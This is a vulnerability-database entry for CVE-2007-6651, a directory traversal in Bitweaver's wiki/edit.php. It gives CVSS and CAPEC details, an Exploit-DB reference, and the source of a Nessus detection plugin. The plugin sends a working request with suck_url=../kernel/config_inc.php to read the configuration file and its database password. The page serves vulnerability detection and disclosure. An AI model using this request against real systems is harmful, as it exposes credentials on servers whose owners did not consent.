Vulnerabilities > CVE-2007-6651 - Path Traversal vulnerability in Bitweaver 2.0.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
bitweaver
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in wiki/edit.php in Bitweaver R2 CMS allows remote attackers to obtain sensitive information (script source code) via a .. (dot dot) in the suck_url parameter.

Vulnerable Configurations

Part Description Count
Application
Bitweaver
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionBitweaver R2 CMS Remote File Upload / Disclosure Vulnerabilities. CVE-2007-6650,CVE-2007-6651. Webapps exploit for php platform
fileexploits/php/webapps/4814.txt
idEDB-ID:4814
last seen2016-01-31
modified2007-12-30
platformphp
port
published2007-12-30
reporterBugReport.IR
sourcehttps://www.exploit-db.com/download/4814/
titleBitweaver R2 CMS Remote File Upload / Disclosure Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idBITWEAVER_SUCK_URL_DIR_TRAVERSAL.NASL
descriptionThe remote host is running Bitweaver, an open source content management system written in PHP. The version of this software installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id29854
published2008-01-07
reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/29854
titleBitweaver wiki/edit.php suck_url Parameter Traversal Source Code Disclosure
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(29854);
  script_version("1.19");

  script_cve_id("CVE-2007-6651");
  script_bugtraq_id(27081);
  script_xref(name:"EDB-ID", value:"4814");

  script_name(english:"Bitweaver wiki/edit.php suck_url Parameter Traversal Source Code Disclosure");
  script_summary(english:"Tries to retrieve a local file using edit.php");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is prone to a
directory traversal attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Bitweaver, an open source content
management system written in PHP. 

The version of this software installed on the remote host fails to
sanitize input to the 'suck_url' parameter of the 'wiki/edit.php'
script of directory traversal sequences.  An unauthenticated attacker
can leverage this issue to read the contents of sensitive files to
which access  might not otherwise be permitted, such as the application's
configuration file. 

Note that there are reportedly several other vulnerabilities
associated with this version of Bitweaver, although Nessus has not
checked for them." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2007/Dec/346" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(22);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/01/07");
 script_cvs_date("Date: 2018/11/15 20:50:16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value: "cpe:/a:bitweaver:bitweaver");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/bitweaver", "/site", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to read the application's configuration file.
  file = "../kernel/config_inc.php";

  r = http_send_recv3(method:"GET", port: port,
    item:string(
      dir, "/wiki/edit.php?",
      "page=SandBox&",
      "suck_url=", file, "&",
      "do_suck=h"));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if the output looks like the content of the file.
  if (
    ' name="edit" >' >< res &&
    "$gBitDbPassword" >< res &&
    egrep(pattern:"define *([^\)])*BIT_ROOT_URL", string:res)
  )
  {
    contents = strstr(res, ' name="edit" >') - ' name="edit" >';
    if ("</textarea></div></div>" >< contents)
      contents = contents - strstr(contents, "</textarea></div></div>");
    if ("$gBitDbPassword" >!< contents) contents = res;

    if (report_verbosity > 0)
    {
      info = string(
        "\n",
        "Here are the contents of Bitweaver's 'kernel/config_inc.php' file\n",
        "that Nessus was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_warning(port:port, extra:info);
    }
    else security_warning(port);
    exit(0);
  }
}